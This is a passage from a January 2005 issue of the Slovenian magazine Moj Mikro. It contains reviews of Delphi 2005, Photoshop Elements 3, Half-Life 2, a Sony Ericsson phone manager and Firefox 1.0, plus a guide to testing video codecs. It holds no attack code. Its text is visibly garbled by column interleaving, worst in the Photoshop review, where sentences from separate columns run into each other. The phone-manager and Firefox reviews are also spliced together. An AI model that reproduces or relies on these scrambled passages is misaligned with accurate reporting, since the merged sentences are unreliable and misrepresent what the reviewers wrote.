Sync Edit vam omogoča, da zamenjate vse
istoimenske objekte v kodi z eno potezo. Error
Insight vam bo poleg označene napačne kode
dal še navodila za njeno odpravo. V strukturnem pregledu boste lahko pregledali vse napake
na enem mestu. Help Insight so dopolnili in
zdaj prikazuje že dve okni. V prvi so običajno
lastnosti, postopki, metode itd. Drugo vzporedno okno pa pokaže dodatne informacije o izbranem. Precej so spremenili prikaz nekaterih
oken. Marsikomu iz stare šole morda to ne bo
všeč. V glavnem gre za kozmetične in miselne
predstavitve, kakor tudi za poenotenje vseh
ogrodij znotraj hiše.
Popravljeno je iskanje. Zdaj vam to vrne poleg iskanih nizov še marsikaj drugega, kar boste
potrebovali. Popravili so orodno vrstico. S pritiskom na prvo črko se seznam izbir zmanjša le
na izbrane. S pritiskom na Enter pa se prestavi
na razvojni pladenj.
Seveda so omogočili selitev s starih programov
Win32 na novo osnovo .NET oziroma s starih
programov na nove na isti osnovi. Spremenjene
so tudi nekatere lastnosti jezika (For .. in .. do),
dodali so Multi-Unit Namescpace, kar je bila
velika težava prejšnje različice. Dodali so nekaj
novih že pripravljenih komponent, vendar nič
pretresljivega. V vsakem primeru bo treba spet

kupiti nove komponente,
če jih le niste razvili z lastnim znanjem. V vseh čarovnikih so dodali podporo
za standard UTF-8. Nova
storitev je tudi Refactoring.
Ta omogoča preimenovanje
simbolov, deklariranje spremenljivk, polj ... Popravljeno je tudi razhroščevanje s
prekinitvami oz. urejanje
podatkov, ki so v obdelavi.
Pri podatkovnih skladiščih ni ogromnih sprememb.
Dodali so popolno podporo
osnovi ADO.NET in zanimivo možnost − testiranje
shranjenih procedur, kjer
klica ni treba preizkušati na podatkih, pač pa
samo na testni osnovi, ki ne naredi nič, razen
tega, da preizkusi možnosti delovanja. Seveda z
želenimi vhodnimi podatki.

SPLETNI RAZVOJ

Pri spletnem razvoju je nov urejevalnik projektov, ki vam omogoča pregled, dodajanje in
urejanje projektov v lokalnem ali oddaljenem
strežniku. Dobili smo tudi kopico novih komponent za gradnjo spletnega dela strani. Slednje
so programerji doslej v Delphiju kar nekako zanemarjali, z močno podporo za .NET pa se utegne tudi to spremeniti.
Vsi, ki razvijate večje projekte, se boste razveselili izpopolnjenega sistema ECO II. Možna
je tudi kombinacija okolij ASP.NET in ECO
II pri gradnji spletnih storitev. Da pa Delphi
ni ozko vezan samo na ogrodje .NET, dokazuje
tudi podpora za CORBO in J2EE. Vse skupaj
poteka prek povezave z Janevo, ki je Borlandova rešitev za »srednji del«.
Borland je spet dokazal, da je mojster v svojem poslu. Če le programirate v enem od jezikov
(pascal, C#) in ste že imeli kakšno Borlandovo
ogrodje, si novega le omislite in preizkusite −
verjetno vam ne bo žal. Vsekakor je to novo
orodje eno pomembnejših od njegovega nastanka. Rabi lahko tako osebnemu programiranju kot tudi skupinskemu delu. 

Borland Delphi 2005 Arhitect
Namenjen: Celotnemu ciklu razvoja in vzdrževanja
lastnih programov
Za: Še vedno odlično in hitro orodje
Proti: Manjše napake, za kar pa so že obljubljeni
popravki
Cena: Arhitect 720.000 SIT, nadgradnja 480.000 SIT
Spletni naslov proizvajalca: www.borland.com
Posodil (prodaja): Marand, d.o.o., Ljubljana

76

MOJ MIKRO 1 JANUAR 2005

PREIZKUSILI SMO ...
Adobe Photoshop Elements 3

ALBUM IN STUDIO SKUPAJ

Adobe Photoshop Elements je namenjen digitalnim fotografom. Medtem ko so bile
prejšnje različice namenjene le obdelavi fotografij, najnovejša vsebuje tudi Photoshop
Album, torej urejevalnik digitalnih zbirk oz. foto album. S tem je Photoshop Elements
postal vsestransko orodje za naše digitalne fotografije.
Piše : Jernej Pečjak
jernej.pecjak@mojmikro.si

O

Pri prvem srečanju s Photoshop Elements se

be komponenti sta
odločimo, kaj pravzaprav želimo od programa.
še vedno samostojni,
vendar je Adobe doFix z novim grafični vmesnikom, prirejenim
bro poskrbel za preprav zanje. Gre pravzaprav za isti program, le
hajanje iz ene v drugo. Ko
da so meniji in gumbi prilagojeni začetnikom
v foto albumu poiščemo ali
in poenostavljeni. Prehod med obema načinoopazimo sliko, ki jo želimo
ma dela (standardnim in Quick Fix) je skoraj
obdelati, jo s klikom pošljetrenuten.
mo v grafični urejevalnik,
Čeprav lahko s paketom Photoshop Elements
po končanem delu pa se sli3 počnemo skoraj karkoli v zvezi z digitalnimi
ka v albumu namesti na isto
fotografijami (smo že omenili, da lahko zbirko
mesto, kjer je bila prejšnja,
posnamemo tudi na CD?) smo pogrešali nekata pa se shrani v obliki statere možnosti, kot sta tiskanje CD-ovitkov in
rejše revizije. Prehodi med
tisk na plošče.
obema programoma so tako
Sicer pa je Adobe naredil izjemen program za
precej »neboleči« in skoraj Urejevalnik slik zna vse, kar je znal Photoshop
neopazni.
Album 2, pa še nekaj dodatnih možnosti ima,
Po zagonu programa se predvsem pa je dobro povezan z grafičnim
prikaže uvodni meni, ki urejevalnikom.
pomaga pri odločitvi, kaj
pravzaprav želimo z njim početi. Lahko si ogle- ša kar nekaj močnih
dujemo in organiziramo slike, jih na hitro po- orodij, kot je »zdrapravimo, izboljšujemo in dopolnjujemo ali pa iz vilni čopič« Healing
slike ustvarimo svojo mojstrovino, kot so foto Brush s katerim zelo
pregledovalnik z glasbo in napisi (slideshow), preprosto odstranimo
voščilnica s sliko, kartica, koledar, spletni foto napake s fotografij,
album ipd. Na voljo je več predlog, s katerimi izboljšano pa je tudi
zelo hitro ustvarimo neverjetne izdelke iz naših odstranjevanje rdeslik. Med novostmi je izdelava interaktivnega čih oči. Funkcije pač,
foto albuma, ki ga posnamemo na video CD in ki so nepogrešljive
predvajamo z DVD-predvajalnikom.
pri popravljanju naših slik. Končno smo
ZMOGLJIVI ALBUM
dočakali tudi podpoZ orodjem Organizer, ki je tako nadomestil ro surovemu (RAW)
Photoshop Album, lahko slike uvozimo iz foto- zapisu digitalnih slik, Grafični urejevalnik Elements 3 spominja na Photoshop CS, od njega je tudi pobral
aparata, telefona, različnih medijev, lahko pa jih ki je precej boljši zapis kar precej orodij, ima pa nekaj dodatnih možnosti, kot je tiskanje večjega števila
tudi optično preberemo. Mape na disku lahko kot JPG, omogočajo slik hkrati.
označimo kot nadzorovane, kar pomeni, da bo pa ga nekateri fotoprogram sam zaznaval nove fotografije v njih. aparati. Podpora 16-bitnim slikam je prav tako urejanje in obdelovanje digitalnih fotografij, ki
Na voljo so vse možnosti, ki jih že poznamo, vključena, čeprav gre za profesionalno možnost je tako zmogljiv kot tudi stabilen. Tudi cena je
kot so iskanje slik po ključnih besedah, zbirkah iz programa Adobe Photoshop CS. Seveda ima glede na zmožnosti več kot poštena.
ali koledarju, tiskanje slik in njihovo pošiljanje urejevalnik tudi vse druge možnosti, od dela s

po elektronski pošti. Povečevaje (zum) je zelo plastmi (layers), zbirko več kot sto filtrov, zdruAdobe Photoshop Elements 3
pregledno, saj je zvezno, vse fotografije iz zbirke ženih v galerijo za kombinirane učinke. Nekaj
Kaj: Urejanje in obdelovanje digitalnih fotografij
se povečujejo in pomanjšujejo v stvarnem času. je tudi novih orodij kot je Cookie Cutter, s
Za: Veliko možnosti uvoza, izvoza in obdelave slik;
Osnovne lastnosti slik lahko izboljšamo kar v katerim lahko slike obrežemo v različne predposeben vmesnik, prilagojen začetnikom; cena
tem delu programa, denimo kontrast, svetlost, nastavljene oblike, podobno kot iz testa izreProti: Ne moremo tiskati ovitkov za medije; ne
ostrino, izrez in nekatere druge.
žemo piškote. Iz video datotek lahko uvozimo
moremo tiskati na plošče; potrebujemo zmogljiv
posamezne slike, tiskanje pa ima nekatere možračunalnik in novejši operacijski sistem
ŠE ZMOGLJIVEJŠI UREJEVALNIK
nosti, ki jih nima niti Photoshop, denimo Print
Operacijski sistem: Windows 2000�XP, Power Mac
Za več pa je treba na pomoč poklicati Ele- Multiple, s katerim na eno stran natisnemo več
Cena: 100 dolarjev
ments 3 Editor, drugi pomembni modul. Ta je slik, ki jih celo obdamo z okvirjem.
Spletni naslov proizvajalca: www.adobe.com
postal precej zmogljiv, saj iz Photoshopa prinaZačetniki bodo najbolj veseli načina Quick
MOJ MIKRO 1 JANUAR 2005

77

PREIZKUSILI SMO ...
Half-Life 2

DRUGO POLŽIVLJENJE
Težko pričakovana igra, ki je glede na prvi del obljubljala
veliko. Kaj nam ponuja tokrat? Z gotovostjo lahko rečem,
da res veliko in da nas bo prikovala za računalnik za ure in
ure, če že ne dneve.
Piše : Milan Simčič
Milan.simcic@mojmikro.si

T

isti, ki se še spominjate prve epizode, od
katere je preteklo že šest let, boste takoj
vedeli, zakaj gre in začeli igro. Tisti, ki se s
»polživljencem« srečujete prvič, pa boste
morda v začetku kar precej razočarani, saj nas
začetek igre postavi na vlak, s katerim smo se
ravnokar pripeljali na postajo v mestu City 17.
Izstopimo brez kakršnega koli orožja v roki in se
sprehodimo po postaji, kjer je vse polno varnostnikov, ki nas tudi s silo usmerjajo na pravo pot.
Nobene akcije, nobene borbe boste rekli. To pa
res ni streljaška igra, kot smo jih vajeni. Res je.
Najprej se je treba prebiti do prave obleke, ki je
Gordonu Freemanu še vedno kot ulita.
S teleportom in nekaj iznajdljivosti pridemo do prvega orožja v obliki kovinske palice
(crowbar). V neposrednem dvoboju, ko pokončamo prvega varnostnika, pridemo do pištole,
s katero pa si lahko že bolje pomagamo. Od tu
dalje bomo v stalni nevarnosti pred različnimi
nasprotniki. Večina jih je že znanih iz prvega
dela, nekaj pa je tudi novih.

ODLIČNA GRAFIKA IN ZVOK

V vsej igri bomo resnično uživali v izvrstni grafiki, vključno z teksturami. Tudi zvočni
učinki niso zanemarljivi, saj vse skupaj kot
celota deluje zelo realistično. Če igramo na
dovolj velikem zaslonu (imel sem možnost
preizkusiti 23-palčnega) se nam dejansko zdi,
da smo del dogajanja. Zvok prihaja iz različnih smeri, odvisno od tega, kako smo obrnjeni.
Grafika je odlična. Za realnost pa še dodatno
poskrbijo predmeti, ki se obnašajo po fizikalnih lastnostih. Kamenje ima težo, sodi so votli in plavajo na vodi. Njihov vzgon dviguje
bremena in podobno. Eksplozije povzročijo, da
predmeti v bližini letijo po zraku, odvisno od
tega, kako blizu in težki so.

NEKAJ MINUSOV

Pri celotni igri nekoliko zmoti le dejstvo, da
se igra odvija na en sam predvidljiv način. Pot
je natančno določena in z nje ne moremo skreniti. Druga pomanjkljivost, ki sem jo opazil, pa
so prehodi med ravnmi. Recimo, ko se gibljemo
po kanalu in je na sredini kanala prehod med
ravnema, se helikopter ne more premakniti z
ravni na raven. Sredina kanala je nekakšna nevidna ovira, prek katere ne more. Tudi vozilo, s
katerim se vozimo naokoli, je neuničljivo, kar
je v nasprotju z fizikalnimi zakoni. Res pa je, da
v nasprotnem primeru ne bi prišli prav daleč.

78

MOJ MIKRO 1 JANUAR 2005

Vse kaže na to, da so
razvijalci trdo delali
ves čas, čeprav so jim
del kode pred kratkim
ukradli in so ta del
morali napisati znova.

STOPNJE
ZAHTEVNOSTI

Igra ima sicer tri zahtevnostne stopnje,
vendar se utegne zgoditi, da nekaterim ne bo
uspelo niti na najlažji, saj vse vendarle ni tako
trivialno, kot bi si mislili. Od časa do časa nas
igra prav preseneti in moramo kar malo pomisliti, kako se bomo prebili čez katero izmed ovir.
Tisti, ki jim to nikakor ne bo uspelo, lahko pobrskate v internetu in našli boste kopico kod
za goljufanje, s katerimi si boste povečevali
količino strelivo ali orožja. Z nekaj ukazi boste
spet zdravi kot na začetku. Najti pa je mogoče
tudi različna bolj ali manj kakovostna navodila, kako priti do konca igre brez odvečnega
premišljevanja. Res pa je, da v tem primeru
igra izgubi pravi smisel in čar.

ZAŠČITA

Poleg vseh kakovosti igre so se programerji
tudi zelo potrudili pri zaščiti proti kopiranju
in piratstvu. To spoznamo že ob namestitvi, ki
zaradi tega poteka počasneje, kot bi sicer lahko. Polživljenca 2 dobite na enem DVD-ju ali
na petih CD-jih. Namestitev poteka v dveh
delih. Najprej se namestijo osnovne datoteke,
ki jih nato na podlagi registracije drugi del namestitve še odkodira. Vse skupaj poteka precej časa. Po občutku bi dejal kakšno uro. Po
mojih izkušnjah igre ne morete igrati, če niste
priključeni v internet. Vsaj meni to ni uspelo po legalni poti. Zaščito za igro je prispevalo
podjetje Steam, ki se ukvarja z tovrstnimi projekti. Žal pa je vsakršna zaščita le začasna, saj
se kaj kmalu najde kdo, ki jo zna zaobiti. Tako
je bilo tudi v tem primeru, saj je bilo moč že
pred uradnim izidom 16. decembra najti igro
Half-Life 2 v internetu z odstranjeno zaščito.
Še posebej je bilo to moteče, ker so tisti, ki so

Half-Life 2
Kaj: Najboljša strelska igra vseh časov
Za: Odlični učinki, grafika, zvok. Nasprotniki znajo misliti.
Proti: Nepotrebna zaščita, ki upočasni namestitev.
Za igranje morate biti priključeni v internet.
Cena: 9400 Sit
Posodil in prodaja: Mantis plus, d.o.o., Ljubljana;
www.mantisplus.com
Spletna stran igre: www.half-life2.com
Spletna stran proizvajalca: www.valvesoftware.com

igro legalno kupili, imeli precej problemov pri
namestitvi, saj se je strežnik za overjanje kaj
kmalu »obesil« zaradi prezasedenosti poštenih
ljudi. Pirati pa so brez težav uživali v igranju.
Se torej res splača narediti tako zaščito?

DODATNI UŽITKI

Pred kratkim je izšel še dodatek Deathmatch,
ki ponuja še dodatne užitke. Za ceno dodatnih
30 MB, ki jih prenesemo prek omrežja, se lahko priključimo v različne strežnike po svetu in
se preizkusimo, kako dobri smo. Sam se nikakor ne štejem med tiste, ki ure in ure preživijo
ob strelskih obračunih, zato moj rezultat niti
ni omembe vreden. Vsem tistim, ki jim je to
v užitek, pa predlagam, da si najprej naložijo
strežnik in se sami sprehodijo skozi dve ravni,
ki sta na voljo. Prebrskati je namreč treba vse
kotičke in vse dodobra spoznati, ker potem v
pravem obračunu za kaj takega ne bo časa. 

nadzornik mobilnikov Sony Ericsson

floAt’s
Mobile
Agent

N

ekateri proizvajalci mobilnih telefonov že od
nekdaj uporabnike zalagajo tudi s programsko opremo, ki omogoča povezavo telefona v
računalnik ter prenašanje, urejanje, ustvarjanje datotek, stikov, sporočil, sinhronizacijo z raznimi programi ... Nokia je bila zagotovo med prvimi, ki je
širši javnosti ponudila Nokia PC Suite, program, ki
je osebnim računalnikom omogočal komunikacijo
z danes že zastarelimi prvimi mobilnimi telefoni.
Komunikacija je najprej potekala prek kablov (priklop v vrata COM – RS232), nato prek infrardeče, v zadnjih letih pa prek povezave bluetooth. Kar
nekaj proizvajalcev telefonov, še zlasti v srednjem
in nižjem cenovnem razredu, pa še danes ne omogoča povezovanje telefona z računalnikom.
Sony Ericsson sicer ima nabor programov za
komunikacijo med računalnikom in telefonom,

PREIZKUSILI SMO ...
Firefox 1.0

BRSKALNIK PO MERI UPORABNIKOV
Spletni brskalnik Firefox temelji na Mozillinem jedru Gecko, torej je neke vrste
naslednik Netscapa. Po mesecih preizkusnih različic smo le dočakal končno.
Piše : Jernej Pečjak
jernej.pecjak@mojmikro.si

G

lavne odlike tega brskalnika so majhna
sistemska obremenitev (namestitvena
datoteka ima manj kot 5 MB), hitrost
prikazovanja strani in varnost. Prav
slednje je trn v peti Microsoftovemu Internet
Explorerju 6, ki se tedensko srečuje z varnostnimi težavami, poleg tega pa je nadgradnja na
voljo le v paketu SP2 za Windows XP. Če k
temu dodamo še to, da je osnovna različica
Internet Explorerja 6 stara že nekaj let, hitro
občutimo potrebo po dobrem brskalniku. Kot
vse kaže, smo ga s Firefoxom dobili, vprašanje
je le, ali bo lahko odvzel tržni delež Internet
Explorerju, ki ga še vedno uporablja devet od
desetih uporabnikov.

PREPROST IN ZMOGLJIV

Namestitev je zelo preprosta, iz drugih brskalnikov lahko prenesemo piškotke, zgodovino, gesla in priljubljene povezave. Firefox na
prvi pogled deluje zelo preprosto, saj je uporabniški vmesnik pregleden in brez odvečnih
gumbov in menijev. Vendar pa se v njem skriva močno jedro, ki zelo hitro prikazuje spletne
strani. V orodni vrstici hitro zasledimo posebno vnosno polje, ki išče po priljubljenih svetovnih iskalnikih, seznam pa lahko nadgradimo
iz ogromne zbirke v internetu (na voljo so tudi
slovenski iskalniki). Tudi sicer je ena od od-

vendar je ta namenjen le poslovnim in dražjim
telefonom, ne pa tudi cenejšim. Zato je prav zanimiv program floAt’s Mobile Agent (FMA), ki
omogoča široko uporabnost lastnikom telefonov
Sony Ericsson, predvsem serije T (T610, T630),
s katerima smo program tudi preizkusili. Odprtokodni, brezplačni program je moč sneti iz interneta (fma.sourceforge.net), za povezavo z računalnikom pa smo uporabili bluetooth.
Program omogoča vse, kar omogočajo tudi
klasični programi: upravljanje z datotekami
v telefonu (prenašanje v obe smeri, tako slik,
glasbe, zvonjenj, tem); pošiljanje SMS-sporočil
iz računalnika (napišemo na PC-ju in odpošljemo prek telefona), možno je tudi shranjevanje
starih SMS-ov v računalnik; opravljanje telefonskih klicev iz računalnika (če imamo slušalke z
mikrofonom), treba je le vklopiti avdio prehod
v vmesniku bluetooth. Možno je tudi snemanje
tako opravljenih klicev na trdi disk računalnika.
Nadalje so nam na voljo: povezava urnika v računalniku in telefonu – podprta je sinhronizacija
z Outlookom, možno je urejanje vizitk in imenika (ter povezovanje s slikami, zvonjenji ipd);
nastavljanje profilov in obnašanja telefona, pi-

Firefox je sodoben in zmogljiv brskalnik z modularno
zasnovo, ki si ga lahko prilagodimo svojim željam in potrebam.
lik Firefoxa modularna zasnova. Nadgradimo
in spremenimo lahko skoraj vse, od preoblek
do dodatnih možnosti, kot sta IRC in novičarski odjemalec, izboljšano blokiranje nadležnih
oken (osnovno je že v samem Firefoxu), igre,
dodatki za krmarjenje po straneh ipd. Za nalaganje dodatkov nam ni treba biti strokovnjak,
saj se shranijo in namestijo samodejno, celo
posodabljajo se lahko brez naše pomoči.

ZAVIHKI, FLASH, VARNOST ...

Firefox tako kot Opera uporablja zavihke. Z
njimi lahko odpremo več strani naenkrat, ne

sanje zapiskov z računalnikom in shranjevanje v
telefon, upravljanje telefona od daleč (če imamo
telefon v dosegu bluetootha, a zunaj dosega rok,
lahko prek FMA-ja telefon popolnoma upravljamo, tudi zajamemo fotografijo ...). Z uporabo
skriptnih dodatkov pa FMA omogoča še nekaj,
česar ne omogoča noben drug telefon ali program – upravljanje računalnika iz telefona, izrisuje pa tudi menije, kar pomeni, da lahko telefon
uporabljamo za daljinski upravljalnik pri predvajanju filmov, izbiranju glasbe in podobno
Program ponuja osnovne funkcionalnosti tudi
za K700i in z drugimi, kot je recimo Z1010, ne pa
tudi s po zasnovi zelo različnim P900.
Jaka Mele

floAt’s Mobile Agent
Namenjen: Nadzorni paket za delo z mobilniki Sony
Ericsson
Za: Napredna uporaba telefona ob PC-ju; odprtokodni
paket
Proti: Ne deluje z vsemi telefoni, projekt ne podpira
drugih proizvajalec telefonov
Cena: Brezplačno
Spletni naslov proizvajalca: http://fma.sourceforge.net/

da bi nam bilo treba večkrat zagnati FireFox.
Pregledovanje strani je tako enostavnejše in
preglednejše, kot če za vsako novo stran ponovno poženemo brskalnik, kot moramo to pri
Internet Exporerju. Ko se navadimo na zavihke, nam postanejo nepogrešljivi pri delu.
Firefox ima že privzeto vdelan predvajalnik
Flash, s katerim nam je dosegljiva večina eksotične vsebine v internetu. Poseben dodatek
je RSS-predvajalnik, ki omogoča prebiranje
novic, na katere se naročimo prek nekaterih
spletnih strani (denimo news.com).
Posebna pozornost je namenjena varnosti
pri brskanju. Tako je mogoče prebrati pravi
spletni naslov varnih transakcij (https) in se
pri vsaki odločiti, ali nadaljevati ali ne. Spletni
naslovi se namreč lahko ponarejajo. Firefox je
razmeroma varen pred varnostnimi luknjami,
saj ni tako na »udaru« kot Internet Explorer,
vsako odkrito luknjo pa avtorji hitro zakrpajo. Medtem ko ima Opera težave z nekaterimi
stranmi, ki uporabljajo varne povezave, kot je
denimo Klik NLB, Firefox deluje brez težav. Z
močnim šifriranjem lahko celo zaščitimo gesla,
ki jih imamo v brskalniku, in po želji blokiramo nadležna okna.
Občasno se pojavljajo težave z nestandardnimi spletnimi stranmi, ki jih Firefox ne podpira najbolje, avtorji namreč gradijo jedro na
standardnih specifikacijah DHTML. Nekatere
strani so napisane prav za Internet Explorer in
takšne se pomanjkljivo prikažejo na Firefoxu.
Resnici na ljubo pa je takšnih strani vse manj
in pri večtedenski uporabi nismo naleteli na
večje težave.
Firefox je sodoben brskalnik, ki ima precej
prednosti pred Internet Explorerjem. Ne zasede veliko pomnilnika, dobro deluje tudi v
šibkejših računalnikih in na različnih operacijskih sistemih, dobro je poskrbljeno za varnost,
namestitve dodatnih modulov so zelo enostavne, nastavitve pa si lahko prenesete iz drugih
brskalnikov. Poleg vsega je brezplačen, zato si
zasluži, da ga vsaj preizkusimo. Če želimo kaj
več kot samo spletni brskalnik, pa je treba poseči po paketu Mozilla, ki vsebuje še odjemalca elektronske pošte in program za izdelovanje
spletnih strani. Temelji na istem jedru, zato
združljivost s Firefoxom ni vprašljiva. Lahko pa
vržemo oko še na tretjega tekmeca, Opero.



Firefox 1.0
Kaj: Spletni brskalnik
Za: Hitrost, modularna zasnova, zavihki, kanali RSS,
neposredna uporaba iskalnikov, različni operacijski
sistemi
Proti: Nepravilno prikaže nekatere strani, pisane prav
za Internet Explorer
Operacijski sistem: Windows 98�XP,
Mac OS X > 10.2, Linux
Cena: Brezplačen
Spletni naslov proizvajalca: www.mozilla.org/products/
firefox
MOJ MIKRO 1 JANUAR 2005

79

V PRAKSI
izbira kodeka

KATERI JE PRAVI?

Imamo film in bi ga radi predvajali prek računalnika ali DivXpredvajalnika. Kako ga stisniti? Kateri kodek uporabiti?
Piše : Zoran Banović
zoran.banovic@mojmikro.si

P

ravzaprav eno najpogostejših vprašanj,
ko govorimo o DivX-predvajalnikih, je,
s katerim kodekom naj bo film stisnjen,
da bo slika najboljša. Če boste vprašali
druge lastnike predvajalnikov, ki so se tej temi
malce bolj posvetili, vam bo vsak odgovoril
drugače. Eni bodo rekli DivX 5.x, drugi DivX
3, tretji Xvid, četrti bodo prisegali na Microsoftov Windows Media Video. Zakaj takšne
razlike? Ali res ni mogoče preprosto ugotoviti,
kateri kodek je najboljši in uporabljati samo
tega?
Žal je problematika malce bolj zapletena. Pri
DivX-predvajalnikih ne gre za napravo, narejeno po široko sprejetem standardu, kot je to
recimo klasičen DVD. V DivX-predvajalnik je
vdelan klasičen DVD-pogon, kot ga poznamo
iz računalnikov, vse drugo pa je bolj ali manj
odvisno od programske opreme, skrite v njem.
In ker ne gre za standard, se ta oprema razlikuje
od modela do modela.
Vsak proizvajalec se trudi po najboljših močeh, da bi izdelal takšno programsko opremo,
ki bi omogočala kar se da kakovostno predvajanje čim večjega števila formatov datotek
in filmov, stisnjenih na različne načine. Če
pogledate tehnične lastnosti predvajalnika,
boste videli, da je naštetih podprtih formatov
res cela vrsta. In čisto vsi so narejeni s takšnim
ali drugačnim načinom stiskanja datotek. A ta
»podprtost« je zelo relativna, saj je nekaterim
uspela bolj, drugim pa manj. Idealnega predvajalnika zaenkrat (še) ni in močno dvomim,
da sploh kdaj bo. Pri čisto vsakem boste naleteli na kakšno datoteko, ki se prek računalnika
vidi ali sliši odlično, pri predvajanju s predvajalnikom pa je zanič. To pomeni, da proizvajalcu ni najbolje uspela programska oprema
za podporo temu načinu stiskanja. In glede na
sedanje stanje nič ne kaže, da bo v bližnji prihodnosti kaj drugače. Vsaj kar zadeva cenene
predvajalnike.

SPOZNAJ SVOJ PREDVAJALNIK

Kaj lahko torej naredimo? Edini možen način, kako preprečiti težave, je dobro poznavanje svojega predvajalnika. Ugotoviti moramo, kateri tipi datotek oziroma kodeki mu
»ležijo« bolj in kateri manj. Škoda bi namreč
bilo, da dobimo film, mu prilagodimo zvok (o
tem smo govorili v prejšnji številki), mu dodamo podnapise (o tem v predprejšnji), priredimo velikost slike in še kaj, nato pa ugotovimo,
da je v predvajalniku vse skupaj prava nočna
mora. Vsekakor bi bilo bolje, če lahko bi že ob
pretvarjanju filma lahko nastavili vse skupaj

80

MOJ MIKRO 1 JANUAR 2005

Program Gspot,
ki ga je mogoče
brezplačno sneti
iz interneta,
nam da celo
vrsto podatkov
o filmu.
tako, da bi zanesljivo dobro delovalo. In kako
to narediti?
Eden od načinov bi bil, da ugotovimo, kateri film dela težave, in pogledamo njegove
lastnosti. Lastnosti lahko dokaj dobro vidimo
v programu VirtualDub, še bolje pa je, če namestimo program Gspot, ki ga je mogoče brezplačno sneti iz interneta, najdemo pa ga tudi
kot sestavni del paketa K-Lite Codec Pack.
Ko torej vidimo, s katerim kodekom je bil film
stisnjen, vemo, s katerim ima naš predvajalnik
težave. In če kdaj spet naletimo na tak film, ga
lahko še pred snemanjem na CD ali DVD prekodiramo v format, ki je našemu predvajalniku
prijaznejši. Ta metoda sicer deluje, saj je dokaj
preprosta in ne zahteva dodatnega dela, je pa
tudi nerodna in nam ne da popolne slike »značaja« našega predvajalnika.
Boljša metoda, ki sicer zahteva nekaj dela,
je izdelava testnega CD-ja ali DVD-ja, na
katerega shranimo filme, stisnjene na različne načine. Ta CD ali DVD nato vstavimo v
predvajalnik, si ogledamo vsak film posebej in
ugotovimo, kaj predvajalniku ustreza in kaj ne.
A kako izdelati tak CD ali DVD?

TESTIRANJE JE
MATI KAKOVOSTI

Ideja testnega medija je v tem, da nanj shranimo kratke, nekajminutne odlomke in istega
filma, stisnjene z različnimi kodeki in nastavitvami. Če predvajalnik podpira predvajanje
filmov Divx iz DVD-ja in če seveda imate zapisovalnik DVD-jev, je najbolje te filme shraniti
na DVD, če pa imate le zapisovalnik CD-jev
ali pa predvajalnik ne podpira predvajanja iz
DVD-ja, potem se pač zadovoljite z enim ali
več CD-ji.
Zakaj DVD ali več CD-jev? Preprosto zato,
ker imamo lahko v računalniku celo goro kodekov. Če v programu Gspot izberemo System/
List Codec and other filters, se lahko zgodi, da
dobimo v seznamu tudi več kot 200 elementov.
Vsi res niso kodeki, torej kodirniki in dekodirniki, saj je veliko takšnih, ki so recimo le dekodirniki ali druga orodja, povezana s filmom in
glasbo, a je takšnih, ki so uporabni za stiskanje,
kljub temu veliko.

V seznamu kodekov, ki jih imamo v računalniku, jih je
lahko tudi več kot.
Če torej hočemo izdelati dober testni CD ali
DVD, moramo zajeti čim več kodekov, to pa
pomeni, da bo testnih filmov kar precej. In
zato je seveda bolje, če jih lahko spravimo na
DVD.
In kako se torej lotimo izdelave testnega
medija? Najpomembnejša je izbira originala.
Ta mora biti čim boljši, po možnosti vsebovati veliko podrobnosti in kakšno sceno hitrega
premikanja. Najbolje je, če imate kak film, ki
ste ga sami posneli z videokamero in prenesli v
računalnik, če pa tega nimate, izberite film, ki
vas je navdušil s kakovostjo slike.
Naslednji korak je izbira scene. Kot rečeno,
naj bo scena svetla, čim bolj polna podrobnosti in vsebuje naj kakšno hitro gibanje. Iz tega
filma izrežemo dvominutni odsek in ga shranimo, recimo z imenom Testni film.avi. Kako
pa to naredimo? Verjetno vam je že dolgčas od
omenjanja tega programa, a spet bomo uporabili VirtualDub. V njem odpremo film in se z
drsnikom »sprehodimo« po njem, da najdemo začetek prave scene. Na tem začetku pritisnemo gumb s polovično puščico, obrnjeno
v levo. Nato se premaknemo za kakšni dve
minuti naprej (čas je zapisan v vrstici stanja
VirtualDuba) in pritisnemo gumb s polovično
puščico, obrnjeno v desno. S tem smo izbrali

V PRAKSI
izbira kodeka
začetek in konec našega odseka. Zdaj izberemo Video/Direct stream copy in Audio/ Direct
stream copy in s tem VirtualDubu povemo, naj
ne izvaja nobene funkcije nad sliko in zvokom.
Nato izberemo File/Save as Avi in damo odseku ime Testni film.avi.

namestite v naslanjač. Pred tem si ne pozabite
pripraviti papir in pisalo, kamor boste vpisovali opazke. Tako. Najprej poženite testni film in
si ga še enkrat pozorno oglejte, da ga boste laže
primerjali z narejenimi. Nato poženite prvi na
novo stisnjen film in natančno opazujte, kaj se

V testnem filmu
izberemo odsek, ki je
svetel, vsebuje veliko
podrobnosti in gibanja.
Tako, osnova za test je izdelana in lahko se
lotimo stiskanja z različnimi kodeki. V VirtualDubu odpremo testni film in izberemo
Video/Compression. Odprlo se bo okno, v
katerem najdemo vse kodeke, ki jih je VirtualDub prepoznal kot nekaj, kar je sposobno
stisniti oziroma obdelati film. Kar nekaj teh
kodekov lahko preskočimo, saj niso primerni
za stiskanje filma na način, ki bi bil uporaben v
predvajalniku. Takšni kodeki so recimo vsi Intel Indeo, neuporaben je tudi nestisnjen način
(uncompressed RGB ali kaj podobnega) in še
kaj bi se našlo. A pojdite lepo po vrsti. Izberite
prvi kodek, in če omogoča kakšne nastavitve,
jih nastavite na privzete, nato pa shranite datoteko pod imenom, ki bo vsebovalo ime kodeka. Ko je stiskanje končano spet izberemo
Video/Compression, izberemo naslednji kodek
in postopek ponovimo. Včasih se bo zgodilo,
da bo VirtualDub sporočil napako ali se celo
sesul, a to naj vas ne moti. Razlog za to je v
tem, da kodek ni »pravi« kodek. Lahko je namenjen le predvajanju, torej ne vsebuje funkcije kodiranja, lahko pa tudi, da je VirtualDub
napačno ugotovil, da gre za kodek. Če ne gre,
preidite na naslednji kodek iz seznama.
Ko boste končali, vas bo na disku čakalo toliko filmčkov, kot imate veljavnih in delujočih
kodekov v računalniku. S tem ste izvedli prvo
fazo. Zdaj odprite mapo, kamor ste shranjevali filme in že lahko vidite prve informacije o
tem, kako se kak kodek obnaša. Videli boste
namreč velikosti datotek. Razlike med njimi
so lahko kar precejšnje, tudi 50 odstotkov. A
naj vas to ne zavede. Velikost datoteke ni nikakršen znak za kakovost izdelanega filma. Je
le informacija o tem, kako močno lahko kodek
s privzetimi nastavitvami stisne film.
Vse te filme, vključno s testnim, zdaj zapišite na DVD ali CD in se preselite v dnevno
sobo, vstavite medij v predvajalnik in udobno

dogaja. Oglejte si, kako ostra je slika, kakšno je
